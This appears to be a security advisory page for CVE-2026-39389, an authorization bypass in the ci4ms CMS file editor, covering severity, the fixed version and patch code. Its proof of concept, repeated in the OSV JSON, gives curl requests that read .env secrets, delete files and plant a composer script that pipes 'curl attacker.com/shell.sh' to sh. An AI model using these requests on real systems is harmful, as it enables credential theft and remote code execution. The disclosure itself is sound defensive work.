CVE-2026-39389: Ci4 cms erp/ci4ms CI4MS Has A Hidden Items Vulnerability

MODERATE
Advisory Identifier: GHSA-9rxp-f27p-wv3h
CVSS 6.7
CWE-285
Published
Advisory Summary

CVE-2026-39389 is a MODERATE (CVSS 6.7) ci4ms has a hidden items vulnerability (CWE-285: Improper Authorization) affecting Ci4 cms erp/ci4ms libraries in the Packagist ecosystem. The issue involves ci4ms has a hidden items authorization bypass in fileeditor allows reading secrets and writing protected files. Remediation is available by upgrading affected packages to version 0.31.4.0.

CVE-2026-39389 at a Glance

CVE Identifier CVE-2026-39389
GHSA Identifier GHSA-9rxp-f27p-wv3h
Severity MODERATE
CVSS v3.1 Base Score 6.7
CWE Classification CWE-285: Improper Authorization
Affected Product Ci4 cms erp/ci4ms
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 6.7

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required High (PR:H)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability Low (A:L)

How to Fix CVE-2026-39389

To remediate this vulnerability, upgrade all affected Ci4 cms erp/ci4ms dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

ci4-cms-erp/ci4ms fixed: 0.31.4.0
Upgrade ci4-cms-erp/ci4ms to 0.31.4.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for ci4-cms-erp/ci4ms

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-39389, inspect your project dependencies for Ci4 cms erp/ci4ms:

inspect dependencies for ci4-cms-erp/ci4ms

Analyze the terminal output to locate any version of Ci4 cms erp/ci4ms in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.31.4.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-285: Improper Authorization, where the product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action. In Ci4 cms erp/ci4ms, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The Fileeditor controller defines a `hiddenItems` array containing security-sensitive paths (`.env`, `composer.json`, `vendor/`, `.git/`) but only enforces this protection in the `listFiles()` method. The `readFile()`, `saveFile()`, `deleteFileOrFolder()`, `renameFile()`, `createFile()`, and `createFolder()` endpoints perform no hidden items validation, allowing direct API access to files that are intended to be protected. A backend user with only `fileeditor.read` permission can exfiltrate application secrets from `.env`, and a user with `fileeditor.update` permission can overwrite `composer.json` to achieve remote code execution. ## Details The `hiddenItems` array is defined at `modules/Fileeditor/Controllers/Fileeditor.php:10-26`: ```php protected $hiddenItems = [ '.git', '.github', '.idea', '.vscode', 'node_modules', 'vendor', 'writable', '.env', 'env', 'composer.json', 'composer.lock', 'tests', 'spark', 'phpunit.xml.dist', 'preload.php' ]; ``` This array is checked **only** in `listFiles()` at lines 45-48 and 64: ```php // Line 45-48 - path component check foreach ($pathParts as $part) { if (in_array($part, $this->hiddenItems)) { return $this->failForbidden(); } } // Line 64 - directory listing filter if (in_array($name, $this->hiddenItems)) continue; ``` However, `readFile()` (line 76) performs **neither** a `hiddenItems` check **nor** an `allowedFileTypes()` check: ```php public function readFile() { // ... validation ... $path = $this->request->getVar('path'); $fullPath = realpath(ROOTPATH . $path); if (!$fullPath || !is_file($fullPath) || strpos($fullPath, realpath(ROOTPATH)) !== 0) { return $this->response->setJSON(['error' => '...'])->setStatusCode(400); } return $this->response->setJSON(['content' => file_get_contents($fullPath)]); } ``` This means any file within ROOTPATH — regardless of extension (`.php`, `.env`, etc.) — can be read by any user with the `fileeditor.read` permission. Similarly, `saveFile()` (line 92) checks `allowedFileTypes()` but not `hiddenItems`. Since `json` is in `$allowedExtensions`, `composer.json` (which is explicitly in `hiddenItems`) can be overwritten: ```php protected $allowedExtensions = ['css', 'js', 'html', 'txt', 'json', 'sql', 'md']; ``` `deleteFileOrFolder()` (line 194) checks neither `hiddenItems` nor `allowedFileTypes()`. **Compounding factor:** CSRF protection is disabled for all fileeditor routes in `modules/Fileeditor/Config/FileeditorConfig.php:7-10`: ```php public $csrfExcept = [ 'backend/fileeditor', 'backend/fileeditor/*', ]; ``` This means the write and delete operations are additionally vulnerable to cross-site request forgery if an authenticated user visits a malicious page. ## PoC Requires an authenticated backend session with `fileeditor.read` permission granted. **Step 1: Read .env file to extract secrets** ```bash curl -s -b 'ci_session=<valid_session_cookie>' \ 'https://target.com/backend/fileeditor/read?path=/.env' ``` Expected response: JSON containing `.env` file contents including database credentials, encryption keys, and other secrets. **Step 2: Read PHP configuration files** ```bash curl -s -b 'ci_session=<valid_session_cookie>' \ 'https://target.com/backend/fileeditor/read?path=/app/Config/Database.php' ``` Expected response: Full database configuration PHP source with credentials (note: `readFile()` has no `allowedFileTypes` check, so `.php` files are readable). **Step 3: Overwrite composer.json for RCE (requires `fileeditor.update` permission)** ```bash curl -s -b 'ci_session=<valid_session_cookie>' \ -X POST 'https://target.com/backend/fileeditor/save' \ -d 'path=/composer.json' \ -d 'content={"scripts":{"post-install-cmd":"curl attacker.com/shell.sh|sh"}}' ``` The next `composer install` or `composer update` executes the attacker's script. **Step 4: Delete .env (requires `fileeditor.delete` permission)** ```bash curl -s -b 'ci_session=<valid_session_cookie>' \ -X POST 'https://target.com/backend/fileeditor/deleteFileOrFolder' \ -d 'path=/.env' ``` ## Impact - **Credential disclosure:** Any backend user with `fileeditor.read` permission can read `.env` (database passwords, encryption keys, API secrets, mail credentials) and any PHP configuration file regardless of extension restrictions. - **Remote code execution:** A user with `fileeditor.update` permission can overwrite `composer.json` with malicious composer scripts that execute on the next `composer install/update`. - **Denial of service:** A user with `fileeditor.delete` permission can delete `.env` or other critical configuration files, causing application failure. - **False security boundary:** Administrators who configure `fileeditor.read` as a limited permission for content editors are unknowingly granting access to all application secrets, since the `hiddenItems` protection only affects the UI file tree, not the API. ## Recommended Fix Apply `hiddenItems` validation to all endpoints that accept a `path` parameter. Extract the check into a reusable method and also add `allowedFileTypes` to `readFile()`: ```php // Add this method to the Fileeditor controller private function isHiddenPath(string $path): bool { $pathParts = explode('/', trim($path, '/')); foreach ($pathParts as $part) { if (in_array($part, $this->hiddenItems)) { return true; } } return false; } // Then add to readFile(), saveFile(), renameFile(), createFile(), // createFolder(), and deleteFileOrFolder(): if ($this->isHiddenPath($path)) { return $this->failForbidden(); } // Additionally, add allowedFileTypes check to readFile(): if (!$this->allowedFileTypes($fullPath)) { return $this->failForbidden(); } ``` Also re-enable CSRF protection by removing the CSRF exemption in `FileeditorConfig.php` (lines 7-10) and ensuring the frontend sends CSRF tokens with requests.

CVE-2026-39389 Affected Ci4 cms erp/ci4ms Versions

1 component(s)
Fixed Versions:
0.31.4.0
Product / Package Ecosystem Affected Versions Fixed Version
ci4-cms-erp/ci4ms
Packagist
< 0.31.4.0
0.31.4.0

References

Frequently Asked Questions

What is CVE-2026-39389?
CVE-2026-39389 is a security vulnerability in Ci4 cms erp/ci4ms involving CI4MS has a Hidden Items Authorization Bypass in Fileeditor Allows Reading Secrets and Writing Protected Files under CWE-285: Improper Authorization.
Which Ci4 cms erp/ci4ms versions are affected?
Affected versions include releases prior to 0.31.4.0 across affected packages: ci4-cms-erp/ci4ms.
What version fixes CVE-2026-39389?
Upgrading to 0.31.4.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is ci4-cms-erp/ci4ms affected?
Yes, ci4-cms-erp/ci4ms is affected in releases prior to 0.31.4.0. Upgrade your dependency to 0.31.4.0 or later.
What is the CVSS score of CVE-2026-39389?
CVE-2026-39389 has a CVSS v3.1 base score of 6.7 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L.
What CWE is associated with CVE-2026-39389?
CVE-2026-39389 is classified under CWE-285: Improper Authorization (The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.).
How can I check Packagist dependencies for CVE-2026-39389?
Run the dependency tree command: 'inspect dependencies for ci4-cms-erp/ci4ms'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9rxp-f27p-wv3h",
  "modified" : "2026-04-08T19:15:08Z",
  "published" : "2026-04-08T19:15:08Z",
  "aliases" : [ "CVE-2026-39389" ],
  "summary" : "CI4MS has a Hidden Items Authorization Bypass in Fileeditor Allows Reading Secrets and Writing Protected Files",
  "details" : "## Summary\n\nThe Fileeditor controller defines a `hiddenItems` array containing security-sensitive paths (`.env`, `composer.json`, `vendor/`, `.git/`) but only enforces this protection in the `listFiles()` method. The `readFile()`, `saveFile()`, `deleteFileOrFolder()`, `renameFile()`, `createFile()`, and `createFolder()` endpoints perform no hidden items validation, allowing direct API access to files that are intended to be protected. A backend user with only `fileeditor.read` permission can exfiltrate application secrets from `.env`, and a user with `fileeditor.update` permission can overwrite `composer.json` to achieve remote code execution.\n\n## Details\n\nThe `hiddenItems` array is defined at `modules/Fileeditor/Controllers/Fileeditor.php:10-26`:\n\n```php\nprotected $hiddenItems = [\n    '.git', '.github', '.idea', '.vscode',\n    'node_modules', 'vendor', 'writable',\n    '.env', 'env', 'composer.json', 'composer.lock',\n    'tests', 'spark', 'phpunit.xml.dist', 'preload.php'\n];\n```\n\nThis array is checked **only** in `listFiles()` at lines 45-48 and 64:\n\n```php\n// Line 45-48 - path component check\nforeach ($pathParts as $part) {\n    if (in_array($part, $this->hiddenItems)) {\n        return $this->failForbidden();\n    }\n}\n// Line 64 - directory listing filter\nif (in_array($name, $this->hiddenItems)) continue;\n```\n\nHowever, `readFile()` (line 76) performs **neither** a `hiddenItems` check **nor** an `allowedFileTypes()` check:\n\n```php\npublic function readFile()\n{\n    // ... validation ...\n    $path = $this->request->getVar('path');\n    $fullPath = realpath(ROOTPATH . $path);\n    if (!$fullPath || !is_file($fullPath) || strpos($fullPath, realpath(ROOTPATH)) !== 0) {\n        return $this->response->setJSON(['error' => '...'])->setStatusCode(400);\n    }\n    return $this->response->setJSON(['content' => file_get_contents($fullPath)]);\n}\n```\n\nThis means any file within ROOTPATH — regardless of extension (`.php`, `.env`, etc.) — can be read by any user with the `fileeditor.read` permission.\n\nSimilarly, `saveFile()` (line 92) checks `allowedFileTypes()` but not `hiddenItems`. Since `json` is in `$allowedExtensions`, `composer.json` (which is explicitly in `hiddenItems`) can be overwritten:\n\n```php\nprotected $allowedExtensions = ['css', 'js', 'html', 'txt', 'json', 'sql', 'md'];\n```\n\n`deleteFileOrFolder()` (line 194) checks neither `hiddenItems` nor `allowedFileTypes()`.\n\n**Compounding factor:** CSRF protection is disabled for all fileeditor routes in `modules/Fileeditor/Config/FileeditorConfig.php:7-10`:\n\n```php\npublic $csrfExcept = [\n    'backend/fileeditor',\n    'backend/fileeditor/*',\n];\n```\n\nThis means the write and delete operations are additionally vulnerable to cross-site request forgery if an authenticated user visits a malicious page.\n\n## PoC\n\nRequires an authenticated backend session with `fileeditor.read` permission granted.\n\n**Step 1: Read .env file to extract secrets**\n```bash\ncurl -s -b 'ci_session=<valid_session_cookie>' \\\n  'https://target.com/backend/fileeditor/read?path=/.env'\n```\nExpected response: JSON containing `.env` file contents including database credentials, encryption keys, and other secrets.\n\n**Step 2: Read PHP configuration files**\n```bash\ncurl -s -b 'ci_session=<valid_session_cookie>' \\\n  'https://target.com/backend/fileeditor/read?path=/app/Config/Database.php'\n```\nExpected response: Full database configuration PHP source with credentials (note: `readFile()` has no `allowedFileTypes` check, so `.php` files are readable).\n\n**Step 3: Overwrite composer.json for RCE (requires `fileeditor.update` permission)**\n```bash\ncurl -s -b 'ci_session=<valid_session_cookie>' \\\n  -X POST 'https://target.com/backend/fileeditor/save' \\\n  -d 'path=/composer.json' \\\n  -d 'content={\"scripts\":{\"post-install-cmd\":\"curl attacker.com/shell.sh|sh\"}}'\n```\nThe next `composer install` or `composer update` executes the attacker's script.\n\n**Step 4: Delete .env (requires `fileeditor.delete` permission)**\n```bash\ncurl -s -b 'ci_session=<valid_session_cookie>' \\\n  -X POST 'https://target.com/backend/fileeditor/deleteFileOrFolder' \\\n  -d 'path=/.env'\n```\n\n## Impact\n\n- **Credential disclosure:** Any backend user with `fileeditor.read` permission can read `.env` (database passwords, encryption keys, API secrets, mail credentials) and any PHP configuration file regardless of extension restrictions.\n- **Remote code execution:** A user with `fileeditor.update` permission can overwrite `composer.json` with malicious composer scripts that execute on the next `composer install/update`.\n- **Denial of service:** A user with `fileeditor.delete` permission can delete `.env` or other critical configuration files, causing application failure.\n- **False security boundary:** Administrators who configure `fileeditor.read` as a limited permission for content editors are unknowingly granting access to all application secrets, since the `hiddenItems` protection only affects the UI file tree, not the API.\n\n## Recommended Fix\n\nApply `hiddenItems` validation to all endpoints that accept a `path` parameter. Extract the check into a reusable method and also add `allowedFileTypes` to `readFile()`:\n\n```php\n// Add this method to the Fileeditor controller\nprivate function isHiddenPath(string $path): bool\n{\n    $pathParts = explode('/', trim($path, '/'));\n    foreach ($pathParts as $part) {\n        if (in_array($part, $this->hiddenItems)) {\n            return true;\n        }\n    }\n    return false;\n}\n\n// Then add to readFile(), saveFile(), renameFile(), createFile(), \n// createFolder(), and deleteFileOrFolder():\nif ($this->isHiddenPath($path)) {\n    return $this->failForbidden();\n}\n\n// Additionally, add allowedFileTypes check to readFile():\nif (!$this->allowedFileTypes($fullPath)) {\n    return $this->failForbidden();\n}\n```\n\nAlso re-enable CSRF protection by removing the CSRF exemption in `FileeditorConfig.php` (lines 7-10) and ensuring the frontend sends CSRF tokens with requests.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "ci4-cms-erp/ci4ms"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.31.4.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.31.3.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-9rxp-f27p-wv3h"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-39389"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/ci4-cms-erp/ci4ms"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.4.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-285" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-08T19:15:08Z",
    "nvd_published_at" : "2026-04-08T15:16:13Z"
  }
}